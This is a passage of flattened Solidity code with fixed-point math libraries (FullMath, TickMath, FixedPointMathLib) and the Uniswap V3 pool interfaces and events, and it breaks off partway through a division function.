/// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision
/// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits
library FullMath {
/// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
/// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv
function mulDiv(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
// Handle division by zero
require(denominator != 0);
// 512-bit multiply [prod1 prod0] = a * b
// Compute the product mod 2**256 and mod 2**256 - 1
// then use the Chinese Remainder Theorem to reconstruct
// the 512 bit result. The result is stored in two 256
// variables such that product = prod1 * 2**256 + prod0
uint256 prod0; // Least significant 256 bits of the product
uint256 prod1; // Most significant 256 bits of the product
assembly {
let mm := mulmod(a, b, not(0))
prod0 := mul(a, b)
prod1 := sub(sub(mm, prod0), lt(mm, prod0))
}
// Short circuit 256 by 256 division
// This saves gas when a * b is small, at the cost of making the
// large case a bit more expensive. Depending on your use case you
// may want to remove this short circuit and always go through the
// 512 bit path.
if (prod1 == 0) {
assembly {
result := div(prod0, denominator)
}
return result;
}
///////////////////////////////////////////////
// 512 by 256 division.
///////////////////////////////////////////////
// Handle overflow, the result must be < 2**256
require(prod1 < denominator);
// Make division exact by subtracting the remainder from [prod1 prod0]
// Compute remainder using mulmod
// Note mulmod(_, _, 0) == 0
uint256 remainder;
assembly {
remainder := mulmod(a, b, denominator)
}
// Subtract 256 bit number from 512 bit number
assembly {
prod1 := sub(prod1, gt(remainder, prod0))
prod0 := sub(prod0, remainder)
}
// Factor powers of two out of denominator
// Compute largest power of two divisor of denominator.
// Always >= 1.
unchecked {
// https://ethereum.stackexchange.com/a/96646
uint256 twos = (type(uint256).max - denominator + 1) & denominator;
// Divide denominator by power of two
assembly {
denominator := div(denominator, twos)
}
// Divide [prod1 prod0] by the factors of two
assembly {
prod0 := div(prod0, twos)
}
// Shift in bits from prod1 into prod0. For this we need
// to flip `twos` such that it is 2**256 / twos.
// If twos is zero, then it becomes one
assembly {
twos := add(div(sub(0, twos), twos), 1)
}
prod0 |= prod1 * twos;
// Invert denominator mod 2**256
// Now that denominator is an odd number, it has an inverse
// modulo 2**256 such that denominator * inv = 1 mod 2**256.
// Compute the inverse by starting with a seed that is correct
// correct for four bits. That is, denominator * inv = 1 mod 2**4
// If denominator is zero the inverse starts with 2
uint256 inv = (3 * denominator) ^ 2;
// Now use Newton-Raphson iteration to improve the precision.
// Thanks to Hensel's lifting lemma, this also works in modular
// arithmetic, doubling the correct bits in each step.
inv *= 2 - denominator * inv; // inverse mod 2**8
inv *= 2 - denominator * inv; // inverse mod 2**16
inv *= 2 - denominator * inv; // inverse mod 2**32
inv *= 2 - denominator * inv; // inverse mod 2**64
inv *= 2 - denominator * inv; // inverse mod 2**128
inv *= 2 - denominator * inv; // inverse mod 2**256
// If denominator is zero, inv is now 128
// Because the division is now exact we can divide by multiplying
// with the modular inverse of denominator. This will give us the
// correct result modulo 2**256. Since the precoditions guarantee
// that the outcome is less than 2**256, this is the final result.
// We don't need to compute the high bits of the result and prod1
// is no longer required.
result = prod0 * inv;
return result;
}
}
/// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0
/// @param a The multiplicand
/// @param b The multiplier
/// @param denominator The divisor
/// @return result The 256-bit result
function mulDivRoundingUp(
uint256 a,
uint256 b,
uint256 denominator
) internal pure returns (uint256 result) {
result = mulDiv(a, b, denominator);
if (mulmod(a, b, denominator) > 0) {
require(result < type(uint256).max);
result++;
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.10;
/// @title Math library for computing sqrt prices from ticks and vice versa
/// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports
/// prices between 2**-128 and 2**128
library TickMath {
/// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128
int24 internal constant MIN_TICK = -887272;
/// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128
int24 internal constant MAX_TICK = -MIN_TICK;
/// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)
uint160 internal constant MIN_SQRT_RATIO = 4295128739;
/// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)
uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;
/// @notice Calculates sqrt(1.0001^tick) * 2^96
/// @dev Throws if |tick| > max tick
/// @param tick The input tick for the above formula
/// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0)
/// at the given tick
function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) {
uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick));
require(absTick <= uint256(uint24(MAX_TICK)), "T");
uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000;
unchecked {
if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;
if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;
if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;
if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;
if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;
if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;
if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;
if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;
if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;
if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;
if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;
if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;
if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;
if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;
if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;
if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;
if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;
if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;
if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;
if (tick > 0) ratio = type(uint256).max / ratio;
// this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96.
// we then downcast because we know the result always fits within 160 bits due to our tick input constraint
// we round up in the division so getTickAtSqrtRatio of the output price is always consistent
sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));
}
}
/// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio
/// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may
/// ever return.
/// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96
/// @return tick The greatest tick for which the ratio is less than or equal to the input ratio
function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) {
// second inequality must be < because the price can never reach the price at the max tick
require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, "R");
uint256 ratio = uint256(sqrtPriceX96) << 32;
uint256 r = ratio;
uint256 msb = 0;
assembly {
let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(5, gt(r, 0xFFFFFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(4, gt(r, 0xFFFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(3, gt(r, 0xFF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(2, gt(r, 0xF))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := shl(1, gt(r, 0x3))
msb := or(msb, f)
r := shr(f, r)
}
assembly {
let f := gt(r, 0x1)
msb := or(msb, f)
}
if (msb >= 128) r = ratio >> (msb - 127);
else r = ratio << (127 - msb);
int256 log_2 = (int256(msb) - 128) << 64;
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(63, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(62, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(61, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(60, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(59, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(58, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(57, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(56, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(55, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(54, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(53, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(52, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(51, f))
r := shr(f, r)
}
assembly {
r := shr(127, mul(r, r))
let f := shr(128, r)
log_2 := or(log_2, shl(50, f))
}
int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number
int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128);
int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128);
tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow;
}
/// @notice Rounds down to the nearest tick where tick % tickSpacing == 0
/// @param tick The tick to round
/// @param tickSpacing The tick spacing to round to
/// @return the floored tick
/// @dev Ensure tick +/- tickSpacing does not overflow or underflow int24
function floor(int24 tick, int24 tickSpacing) internal pure returns (int24) {
int24 mod = tick % tickSpacing;
unchecked {
if (mod >= 0) return tick - mod;
return tick - mod - tickSpacing;
}
}
/// @notice Rounds up to the nearest tick where tick % tickSpacing == 0
/// @param tick The tick to round
/// @param tickSpacing The tick spacing to round to
/// @return the ceiled tick
/// @dev Ensure tick +/- tickSpacing does not overflow or underflow int24
function ceil(int24 tick, int24 tickSpacing) internal pure returns (int24) {
int24 mod = tick % tickSpacing;
unchecked {
if (mod > 0) return tick - mod + tickSpacing;
return tick - mod;
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that never changes
/// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values
interface IUniswapV3PoolImmutables {
/// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface
/// @return The contract address
function factory() external view returns (address);
/// @notice The first of the two tokens of the pool, sorted by address
/// @return The token contract address
function token0() external view returns (address);
/// @notice The second of the two tokens of the pool, sorted by address
/// @return The token contract address
function token1() external view returns (address);
/// @notice The pool's fee in hundredths of a bip, i.e. 1e-6
/// @return The fee
function fee() external view returns (uint24);
/// @notice The pool tick spacing
/// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive
/// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ...
/// This value is an int24 to avoid casting even though it is always positive.
/// @return The tick spacing
function tickSpacing() external view returns (int24);
/// @notice The maximum amount of position liquidity that can use any tick in the range
/// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and
/// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool
/// @return The max amount of liquidity per tick
function maxLiquidityPerTick() external view returns (uint128);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that can change
/// @notice These methods compose the pool's state, and can change with any frequency including multiple times
/// per transaction
interface IUniswapV3PoolState {
/// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas
/// when accessed externally.
/// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value
/// tick The current tick of the pool, i.e. according to the last tick transition that was run.
/// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick
/// boundary.
/// observationIndex The index of the last oracle observation that was written,
/// observationCardinality The current maximum number of observations stored in the pool,
/// observationCardinalityNext The next maximum number of observations, to be updated when the observation.
/// feeProtocol The protocol fee for both tokens of the pool.
/// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0
/// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee.
/// unlocked Whether the pool is currently locked to reentrancy
function slot0()
external
view
returns (
uint160 sqrtPriceX96,
int24 tick,
uint16 observationIndex,
uint16 observationCardinality,
uint16 observationCardinalityNext,
uint8 feeProtocol,
bool unlocked
);
/// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal0X128() external view returns (uint256);
/// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal1X128() external view returns (uint256);
/// @notice The amounts of token0 and token1 that are owed to the protocol
/// @dev Protocol fees will never exceed uint128 max in either token
function protocolFees() external view returns (uint128 token0, uint128 token1);
/// @notice The currently in range liquidity available to the pool
/// @dev This value has no relationship to the total liquidity across all ticks
function liquidity() external view returns (uint128);
/// @notice Look up information about a specific tick in the pool
/// @param tick The tick to look up
/// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or
/// tick upper,
/// liquidityNet how much liquidity changes when the pool price crosses the tick,
/// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0,
/// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1,
/// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick
/// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick,
/// secondsOutside the seconds spent on the other side of the tick from the current tick,
/// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false.
/// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0.
/// In addition, these values are only relative and must be used only in comparison to previous snapshots for
/// a specific position.
function ticks(int24 tick)
external
view
returns (
uint128 liquidityGross,
int128 liquidityNet,
uint256 feeGrowthOutside0X128,
uint256 feeGrowthOutside1X128,
int56 tickCumulativeOutside,
uint160 secondsPerLiquidityOutsideX128,
uint32 secondsOutside,
bool initialized
);
/// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information
function tickBitmap(int16 wordPosition) external view returns (uint256);
/// @notice Returns the information about a position by the position's key
/// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper
/// @return _liquidity The amount of liquidity in the position,
/// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke,
/// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke,
/// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke,
/// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke
function positions(bytes32 key)
external
view
returns (
uint128 _liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1
);
/// @notice Returns data about a specific observation index
/// @param index The element of the observations array to fetch
/// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time
/// ago, rather than at a specific index in the array.
/// @return blockTimestamp The timestamp of the observation,
/// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp,
/// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp,
/// Returns initialized whether the observation has been initialized and the values are safe to use
function observations(uint256 index)
external
view
returns (
uint32 blockTimestamp,
int56 tickCumulative,
uint160 secondsPerLiquidityCumulativeX128,
bool initialized
);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that is not stored
/// @notice Contains view functions to provide information about the pool that is computed rather than stored on the
/// blockchain. The functions here may have variable gas costs.
interface IUniswapV3PoolDerivedState {
/// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp
/// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing
/// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick,
/// you must call it with secondsAgos = [3600, 0].
/// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in
/// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio.
/// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned
/// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp
/// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block
/// timestamp
function observe(uint32[] calldata secondsAgos)
external
view
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s);
/// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range
/// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed.
/// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first
/// snapshot is taken and the second snapshot is taken.
/// @param tickLower The lower tick of the range
/// @param tickUpper The upper tick of the range
/// @return tickCumulativeInside The snapshot of the tick accumulator for the range
/// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range
/// @return secondsInside The snapshot of seconds per liquidity for the range
function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)
external
view
returns (
int56 tickCumulativeInside,
uint160 secondsPerLiquidityInsideX128,
uint32 secondsInside
);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Permissionless pool actions
/// @notice Contains pool methods that can be called by anyone
interface IUniswapV3PoolActions {
/// @notice Sets the initial price for the pool
/// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value
/// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96
function initialize(uint160 sqrtPriceX96) external;
/// @notice Adds liquidity for the given recipient/tickLower/tickUpper position
/// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback
/// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends
/// on tickLower, tickUpper, the amount of liquidity, and the current price.
/// @param recipient The address for which the liquidity will be created
/// @param tickLower The lower tick of the position in which to add liquidity
/// @param tickUpper The upper tick of the position in which to add liquidity
/// @param amount The amount of liquidity to mint
/// @param data Any data that should be passed through to the callback
/// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback
/// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external returns (uint256 amount0, uint256 amount1);
/// @notice Collects tokens owed to a position
/// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity.
/// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or
/// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the
/// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity.
/// @param recipient The address which should receive the fees collected
/// @param tickLower The lower tick of the position for which to collect fees
/// @param tickUpper The upper tick of the position for which to collect fees
/// @param amount0Requested How much token0 should be withdrawn from the fees owed
/// @param amount1Requested How much token1 should be withdrawn from the fees owed
/// @return amount0 The amount of fees collected in token0
/// @return amount1 The amount of fees collected in token1
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
/// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position
/// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0
/// @dev Fees must be collected separately via a call to #collect
/// @param tickLower The lower tick of the position for which to burn liquidity
/// @param tickUpper The upper tick of the position for which to burn liquidity
/// @param amount How much liquidity to burn
/// @return amount0 The amount of token0 sent to the recipient
/// @return amount1 The amount of token1 sent to the recipient
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external returns (uint256 amount0, uint256 amount1);
/// @notice Swap token0 for token1, or token1 for token0
/// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback
/// @param recipient The address to receive the output of the swap
/// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0
/// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative)
/// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this
/// value after the swap. If one for zero, the price cannot be greater than this value after the swap
/// @param data Any data to be passed through to the callback
/// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive
/// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external returns (int256 amount0, int256 amount1);
/// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback
/// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback
/// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling
/// with 0 amount{0,1} and sending the donation amount(s) from the callback
/// @param recipient The address which will receive the token0 and token1 amounts
/// @param amount0 The amount of token0 to send
/// @param amount1 The amount of token1 to send
/// @param data Any data to be passed through to the callback
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
/// @notice Increase the maximum number of price and liquidity observations that this pool will store
/// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to
/// the input observationCardinalityNext.
/// @param observationCardinalityNext The desired minimum number of observations for the pool to store
function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Permissioned pool actions
/// @notice Contains pool methods that may only be called by the factory owner
interface IUniswapV3PoolOwnerActions {
/// @notice Set the denominator of the protocol's % share of the fees
/// @param feeProtocol0 new protocol fee for token0 of the pool
/// @param feeProtocol1 new protocol fee for token1 of the pool
function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external;
/// @notice Collect the protocol fee accrued to the pool
/// @param recipient The address to which collected protocol fees should be sent
/// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1
/// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0
/// @return amount0 The protocol fee collected in token0
/// @return amount1 The protocol fee collected in token1
function collectProtocol(
address recipient,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Events emitted by a pool
/// @notice Contains all events emitted by the pool
interface IUniswapV3PoolEvents {
/// @notice Emitted exactly once by a pool when #initialize is first called on the pool
/// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize
/// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96
/// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool
event Initialize(uint160 sqrtPriceX96, int24 tick);
/// @notice Emitted when liquidity is minted for a given position
/// @param sender The address that minted the liquidity
/// @param owner The owner of the position and recipient of any minted liquidity
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity minted to the position range
/// @param amount0 How much token0 was required for the minted liquidity
/// @param amount1 How much token1 was required for the minted liquidity
event Mint(
address sender,
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted when fees are collected by the owner of a position
/// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees
/// @param owner The owner of the position for which fees are collected
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount0 The amount of token0 fees collected
/// @param amount1 The amount of token1 fees collected
event Collect(
address indexed owner,
address recipient,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount0,
uint128 amount1
);
/// @notice Emitted when a position's liquidity is removed
/// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect
/// @param owner The owner of the position for which liquidity is removed
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity to remove
/// @param amount0 The amount of token0 withdrawn
/// @param amount1 The amount of token1 withdrawn
event Burn(
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted by the pool for any swaps between token0 and token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the output of the swap
/// @param amount0 The delta of the token0 balance of the pool
/// @param amount1 The delta of the token1 balance of the pool
/// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96
/// @param liquidity The liquidity of the pool after the swap
/// @param tick The log base 1.0001 of price of the pool after the swap
event Swap(
address indexed sender,
address indexed recipient,
int256 amount0,
int256 amount1,
uint160 sqrtPriceX96,
uint128 liquidity,
int24 tick
);
/// @notice Emitted by the pool for any flashes of token0/token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the tokens from flash
/// @param amount0 The amount of token0 that was flashed
/// @param amount1 The amount of token1 that was flashed
/// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee
/// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee
event Flash(
address indexed sender,
address indexed recipient,
uint256 amount0,
uint256 amount1,
uint256 paid0,
uint256 paid1
);
/// @notice Emitted by the pool for increases to the number of observations that can be stored
/// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index
/// just before a mint/swap/burn.
/// @param observationCardinalityNextOld The previous value of the next observation cardinality
/// @param observationCardinalityNextNew The updated value of the next observation cardinality
event IncreaseObservationCardinalityNext(
uint16 observationCardinalityNextOld,
uint16 observationCardinalityNextNew
);
/// @notice Emitted when the protocol fee is changed by the pool
/// @param feeProtocol0Old The previous value of the token0 protocol fee
/// @param feeProtocol1Old The previous value of the token1 protocol fee
/// @param feeProtocol0New The updated value of the token0 protocol fee
/// @param feeProtocol1New The updated value of the token1 protocol fee
event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New);
/// @notice Emitted when the collected protocol fees are withdrawn by the factory owner
/// @param sender The address that collects the protocol fees
/// @param recipient The address that receives the collected protocol fees
/// @param amount0 The amount of token0 protocol fees that is withdrawn
/// @param amount0 The amount of token1 protocol fees that is withdrawn
event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Arithmetic library with operations for fixed-point numbers.
/// @author Modified from Dappsys V2 (https://github.com/dapp-org/dappsys-v2/blob/main/src/math.sol)
/// and ABDK (https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol)
library FixedPointMathLib {
/*///////////////////////////////////////////////////////////////
COMMON BASE UNITS
//////////////////////////////////////////////////////////////*/
uint256 internal constant YAD = 1e8;
uint256 internal constant WAD = 1e18;
uint256 internal constant RAY = 1e27;
uint256 internal constant RAD = 1e45;
/*///////////////////////////////////////////////////////////////
FIXED POINT OPERATIONS
//////////////////////////////////////////////////////////////*/
function fmul(
uint256 x,
uint256 y,
uint256 baseUnit
) internal pure returns (uint256 z) {
assembly {
// Store x * y in z for now.
z := mul(x, y)
// Equivalent to require(x == 0 || (x * y) / x == y)
if iszero(or(iszero(x), eq(div(z, x), y))) {
revert(0, 0)
}
// If baseUnit is zero this will return zero instead of reverting.
z := div(z, baseUnit)
}
}
function fdiv(
uint256 x,
uint256 y,
uint256 baseUnit
) internal pure returns (uint256 z) {
assembly {
// Store x * baseUnit in z for now.
z := mul(x, baseUnit)
if or(
